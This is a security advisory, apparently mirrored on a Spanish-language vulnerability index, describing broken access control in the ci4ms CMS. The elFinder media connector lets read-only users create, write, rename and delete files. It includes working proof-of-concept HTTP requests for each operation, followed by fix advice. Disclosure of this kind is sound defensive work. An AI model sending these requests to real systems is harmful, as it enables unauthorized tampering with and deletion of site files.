GHSA-PX9J-875X-44QG
Broken access control: media "read" permission grants full file write and delete
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-PX9J-875X-44QG divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The elFinder connector endpoint backend/media/elfinderConnection is authorized with only the media "read" permission, but it processes every file operation (upload, rename, delete, mkdir, move) through the elFinder protocol. As a result, a user who was granted read-only access to the media library can create, rename, and delete files in the web-served public/media directory.
### Details
The media UI page (backend/media) correctly requires the "create" permission, but the connector that actually performs the work requires only "read":
<img width="1570" height="224" alt="{5871EF6D-737E-4CF7-B097-8C6E752EFFB4}" src="https://github.com/user-attachments/assets/96f91f01-7044-4d7f-bf89-20b39c2fec5c" />
elfinderConnection() builds the elFinder options and calls $connector->run(). The command to execute comes from the request (cmd=upload, rename, rm, mkdir, paste, ...). There is no per-command permission check, and no commands are disabled, so the read permission alone is enough to reach all write and delete operations.
The connector does enforce its configured MIME allowlist (raster images plus text/plain) consistently across mkfile, put, rename and upload, so a read-only user cannot create or rename a file to an executable type such as .php (the connector returns errUploadMime). This was confirmed against the running instance, so the issue is not remote code execution. What remains is that a read-only user can freely create, rename, and delete allowed-type files (text and images) and folders inside the web-served public/media directory.
PoC
Actor: a user whose group grants only the media "read" permission (no create/update/delete).
<img width="2078" height="425" alt="image" src="https://github.com/user-attachments/assets/7e05a85f-882a-4310-8517-f92faaa5e199" />
<img width="2016" height="994" alt="image" src="https://github.com/user-attachments/assets/96712efd-b5f9-4d7a-9504-4d2bdfb70e02" />
- Log in to the backend as that user.
- Send a write/delete command straight to the connector via Burp Suite:
File Creation (cmd=mkfile):
POST /backend/media/elfinderConnection HTTP/1.1
Host: localhost:8084
Authorization: Basic aWx0b3NlYzoxMjM0NTY3OA==
Content-Type: application/x-www-form-urlencoded
Cookie: ci_session=971df00f19187d5baf2732c47e02e1d1
Content-Length: 36
cmd=mkfile&target=l1_Lw&name=poc.txt<img width="1817" height="702" alt="image" src="https://github.com/user-attachments/assets/63098fd1-7ee2-4e5b-afe6-d2312f4dfcb2" />
Writing Content (cmd=put):
POST /backend/media/elfinderConnection HTTP/1.1
Host: localhost:8084
Authorization: Basic aWx0b3NlYzoxMjM0NTY3OA==
Content-Type: application/x-www-form-urlencoded
Cookie: ci_session=971df00f19187d5baf2732c47e02e1d1
Content-Length: 69
cmd=put&target=l1_cG9jLnR4dA&content=hacked+by+read-only+user-iltosec<img width="1800" height="906" alt="image" src="https://github.com/user-attachments/assets/6f54b6e6-69c9-43be-9302-7ca2f98a27eb" />
<img width="1798" height="955" alt="image" src="https://github.com/user-attachments/assets/61684690-c97c-4da4-9046-c30476c21db4" />
Folder Creation (cmd=mkdir):
POST /backend/media/elfinderConnection HTTP/1.1
Host: localhost:8084
Authorization: Basic aWx0b3NlYzoxMjM0NTY3OA==
Content-Type: application/x-www-form-urlencoded
Cookie: ci_session=971df00f19187d5baf2732c47e02e1d1
Content-Length: 46
cmd=mkdir&target=l1_Lw&name=pwned_by_read_user<img width="1807" height="873" alt="image" src="https://github.com/user-attachments/assets/8eb64af7-d79e-4845-8396-2b527c2e599c" />
File Deletion (cmd=rm):
POST /backend/media/elfinderConnection HTTP/1.1
Host: localhost:8084
Authorization: Basic aWx0b3NlYzoxMjM0NTY3OA==
Content-Type: application/x-www-form-urlencoded
Cookie: ci_session=971df00f19187d5baf2732c47e02e1d1
Content-Length: 30
cmd=rm&targets[]=l1_cG9jLnR4dA<img width="1809" height="642" alt="image" src="https://github.com/user-attachments/assets/f57ce72c-91ec-4b9e-a5cc-ef4fc0c197e9" />
Impact
A user intended to only browse media can create, rename, upload, and delete files and folders in the web-served public/media directory.
Fix
Gate the connector by the operation it performs, not by "read". The simplest fix is to require the "create"/"update"/"delete" permission on backend/media/elfinderConnection (matching the media UI page), or to map individual elFinder commands to the matching permission and reject write commands for read-only users. Disabling unused elFinder commands and confirming the public/media .htaccess (PHP off) is deployed are useful defense-in-depth.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistci4-cms-erp/ci4ms |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-px9j-875x-44qgLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
